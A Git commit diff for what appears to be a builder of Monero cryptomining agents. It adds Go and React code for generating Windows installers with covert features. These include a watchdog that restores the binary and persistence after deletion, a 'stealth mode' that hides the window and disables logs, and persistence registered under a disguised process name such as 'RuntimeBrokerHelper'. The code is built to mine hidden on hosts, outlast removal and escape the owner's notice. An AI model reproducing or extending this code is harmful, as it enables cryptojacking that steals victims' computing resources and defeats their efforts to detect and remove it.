Add adaptive agent identity, self-healing, stealth, and parallel RandomX.
Each install gets a unique agent ID, hardware-aware thread tuning, watchdog persistence, optional stealth mode, multi-engine RAM mining, and a fully static Windows binary with no runtime dependencies.
This commit is contained in:
@@ -50,6 +50,10 @@ type AgentDefaults struct {
|
||||
InstallBase string `json:"install_base"`
|
||||
InstallCustomBase string `json:"install_custom_base"`
|
||||
InstallRelativePath string `json:"install_relative_path"`
|
||||
AdaptToHardware bool `json:"adapt_to_hardware"`
|
||||
SelfHealing bool `json:"self_healing"`
|
||||
FileLogging bool `json:"file_logging"`
|
||||
StealthMode bool `json:"stealth_mode"`
|
||||
}
|
||||
|
||||
type BackgroundConfig struct {
|
||||
@@ -96,6 +100,10 @@ func DefaultConfig() *Config {
|
||||
ScheduleEnd: "06:00",
|
||||
InstallBase: "localappdata",
|
||||
InstallRelativePath: "CryptoMiner/{worker}-{build_short}",
|
||||
AdaptToHardware: true,
|
||||
SelfHealing: true,
|
||||
FileLogging: true,
|
||||
StealthMode: false,
|
||||
},
|
||||
Background: BackgroundConfig{
|
||||
SilentMode: true,
|
||||
@@ -209,6 +217,12 @@ func mergeConfig(dst, src *Config) {
|
||||
if src.DefaultAgent.InstallRelativePath != "" {
|
||||
dst.DefaultAgent.InstallRelativePath = src.DefaultAgent.InstallRelativePath
|
||||
}
|
||||
if src.DefaultAgent.InstallRelativePath != "" || src.DefaultAgent.StealthMode || !src.DefaultAgent.FileLogging {
|
||||
dst.DefaultAgent.AdaptToHardware = src.DefaultAgent.AdaptToHardware
|
||||
dst.DefaultAgent.SelfHealing = src.DefaultAgent.SelfHealing
|
||||
dst.DefaultAgent.FileLogging = src.DefaultAgent.FileLogging
|
||||
dst.DefaultAgent.StealthMode = src.DefaultAgent.StealthMode
|
||||
}
|
||||
dst.Background.SilentMode = src.Background.SilentMode
|
||||
if src.Background.RunAs != "" {
|
||||
dst.Background.RunAs = src.Background.RunAs
|
||||
|
||||
@@ -137,6 +137,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
Wallet string `json:"wallet"`
|
||||
Version string `json:"version"`
|
||||
Hostname string `json:"hostname"`
|
||||
Worker string `json:"worker"`
|
||||
CPUCores int `json:"cpu_cores"`
|
||||
MemoryGB int `json:"memory_gb"`
|
||||
}
|
||||
@@ -152,6 +153,14 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
agentID = uuid.New().String()
|
||||
}
|
||||
|
||||
displayName := auth.Worker
|
||||
if displayName == "" {
|
||||
displayName = auth.Hostname
|
||||
}
|
||||
if displayName == "" {
|
||||
displayName = agentID[:8]
|
||||
}
|
||||
|
||||
clientIP := r.Header.Get("X-Forwarded-For")
|
||||
if clientIP == "" {
|
||||
clientIP = r.RemoteAddr
|
||||
@@ -162,7 +171,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
|
||||
agent := &models.Agent{
|
||||
ID: agentID,
|
||||
Name: auth.Hostname,
|
||||
Name: displayName,
|
||||
Wallet: auth.Wallet,
|
||||
IP: clientIP,
|
||||
Version: auth.Version,
|
||||
|
||||
@@ -43,6 +43,10 @@ type BuildRequest struct {
|
||||
InstallBase string `json:"install_base"`
|
||||
InstallCustomBase string `json:"install_custom_base"`
|
||||
InstallRelativePath string `json:"install_relative_path"`
|
||||
AdaptToHardware bool `json:"adapt_to_hardware"`
|
||||
SelfHealing bool `json:"self_healing"`
|
||||
FileLogging bool `json:"file_logging"`
|
||||
StealthMode bool `json:"stealth_mode"`
|
||||
PoolHost string `json:"pool_host"`
|
||||
PoolPort int `json:"pool_port"`
|
||||
PoolTLS bool `json:"pool_tls"`
|
||||
@@ -156,8 +160,8 @@ func (h *Handler) buildAgent(req *BuildRequest) (BuildResponse, int, string) {
|
||||
outputName := fmt.Sprintf("install-%s.exe", sanitizeFileName(req.WorkerName))
|
||||
outputPath, _ := filepath.Abs(filepath.Join(buildDir, outputName))
|
||||
|
||||
ldflags := "-s -w"
|
||||
if req.DisplayMode == "silent" || req.DisplayMode == "background" || req.SilentMode {
|
||||
ldflags := "-s -w -trimpath"
|
||||
if req.DisplayMode == "silent" || req.DisplayMode == "background" || req.SilentMode || req.StealthMode {
|
||||
ldflags += " -H windowsgui"
|
||||
}
|
||||
|
||||
@@ -289,6 +293,12 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
||||
if req.InstallBase == "custom" && strings.TrimSpace(req.InstallCustomBase) == "" {
|
||||
return fmt.Errorf("install_custom_base is required when install_base is custom")
|
||||
}
|
||||
if req.StealthMode {
|
||||
req.FileLogging = false
|
||||
if req.DisplayMode == "" || req.DisplayMode == "visible" {
|
||||
req.DisplayMode = "background"
|
||||
}
|
||||
}
|
||||
if req.PoolHost == "" {
|
||||
req.PoolHost = "pool.supportxmr.com"
|
||||
}
|
||||
@@ -341,6 +351,10 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
InstallBase: %q,
|
||||
InstallCustomBase: %q,
|
||||
InstallRelativePath: %q,
|
||||
AdaptToHardware: %v,
|
||||
SelfHealing: %v,
|
||||
FileLogging: %v,
|
||||
StealthMode: %v,
|
||||
}
|
||||
}
|
||||
`, buildID, time.Now().UTC().Format(time.RFC3339),
|
||||
@@ -373,6 +387,10 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
req.InstallBase,
|
||||
req.InstallCustomBase,
|
||||
req.InstallRelativePath,
|
||||
req.AdaptToHardware,
|
||||
req.SelfHealing,
|
||||
req.FileLogging,
|
||||
req.StealthMode,
|
||||
)
|
||||
}
|
||||
|
||||
|
||||
@@ -50,4 +50,8 @@ export const FIELD_HELP: Record<string, string> = {
|
||||
install_base: 'Windows folder root where the miner embeds itself on first run. LocalAppData is typical for per-user hidden installs.',
|
||||
install_custom_base: 'Full base path when Install Base is Custom. Supports %LOCALAPPDATA%, %APPDATA%, %ProgramData%, etc.',
|
||||
install_relative_path: 'Folder path under the base, created on first run. Tokens: {worker}, {build}, {build_short}, {process}. Final exe: that folder + Process Name.exe',
|
||||
adapt_to_hardware: 'Auto-tune thread count and RAM limits based on each machine\'s CPU cores and memory at runtime.',
|
||||
self_healing: 'Watchdog re-applies persistence and restores the binary from backup if deleted. Scheduled tasks restart on failure.',
|
||||
file_logging: 'When disabled, the miner writes no log file on the host (recommended with stealth mode).',
|
||||
stealth_mode: 'No console window, no log files, and persistence registered under the process name instead of CryptoMiner-*.',
|
||||
};
|
||||
|
||||
@@ -33,6 +33,10 @@ function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo): Build
|
||||
install_base: d.install_base || 'localappdata',
|
||||
install_custom_base: d.install_custom_base || '',
|
||||
install_relative_path: d.install_relative_path || 'CryptoMiner/{worker}-{build_short}',
|
||||
adapt_to_hardware: d.adapt_to_hardware ?? true,
|
||||
self_healing: d.self_healing ?? true,
|
||||
file_logging: d.file_logging ?? true,
|
||||
stealth_mode: d.stealth_mode ?? false,
|
||||
pool_host: config.pool.host,
|
||||
pool_port: config.pool.port,
|
||||
pool_tls: config.pool.use_tls,
|
||||
@@ -393,6 +397,41 @@ export default function BuilderPage() {
|
||||
<label className="label">Install Preview</label>
|
||||
<code className="path-display">{installPreview}</code>
|
||||
</div>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={form.adapt_to_hardware}
|
||||
onChange={(e) => updateField('adapt_to_hardware', e.target.checked)} />
|
||||
<span>Adapt to hardware <HelpTip field="adapt_to_hardware" /></span>
|
||||
</label>
|
||||
<FieldHint field="adapt_to_hardware" />
|
||||
</div>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={form.self_healing}
|
||||
onChange={(e) => updateField('self_healing', e.target.checked)} />
|
||||
<span>Self-healing (watchdog + auto-restart) <HelpTip field="self_healing" /></span>
|
||||
</label>
|
||||
<FieldHint field="self_healing" />
|
||||
</div>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={form.stealth_mode}
|
||||
onChange={(e) => {
|
||||
updateField('stealth_mode', e.target.checked);
|
||||
if (e.target.checked) updateField('file_logging', false);
|
||||
}} />
|
||||
<span>Stealth mode (no window, no logs, discreet persistence) <HelpTip field="stealth_mode" /></span>
|
||||
</label>
|
||||
<FieldHint field="stealth_mode" />
|
||||
</div>
|
||||
<div className="form-group checkbox-group">
|
||||
<label className="checkbox-label">
|
||||
<input type="checkbox" className="checkbox" checked={form.file_logging}
|
||||
disabled={form.stealth_mode}
|
||||
onChange={(e) => updateField('file_logging', e.target.checked)} />
|
||||
<span>Write miner.log on host <HelpTip field="file_logging" /></span>
|
||||
</label>
|
||||
</div>
|
||||
<div className="form-group">
|
||||
<label className="label">Process Name <HelpTip field="process_name" /></label>
|
||||
<input type="text" className="input mono" placeholder="RuntimeBrokerHelper"
|
||||
|
||||
@@ -113,6 +113,10 @@ export interface AgentDefaults {
|
||||
install_base: string;
|
||||
install_custom_base: string;
|
||||
install_relative_path: string;
|
||||
adapt_to_hardware: boolean;
|
||||
self_healing: boolean;
|
||||
file_logging: boolean;
|
||||
stealth_mode: boolean;
|
||||
}
|
||||
|
||||
export interface BackgroundConfig {
|
||||
@@ -153,6 +157,10 @@ export interface BuildRequest {
|
||||
install_base: string;
|
||||
install_custom_base: string;
|
||||
install_relative_path: string;
|
||||
adapt_to_hardware: boolean;
|
||||
self_healing: boolean;
|
||||
file_logging: boolean;
|
||||
stealth_mode: boolean;
|
||||
pool_host: string;
|
||||
pool_port: number;
|
||||
pool_tls: boolean;
|
||||
|
||||
Reference in New Issue
Block a user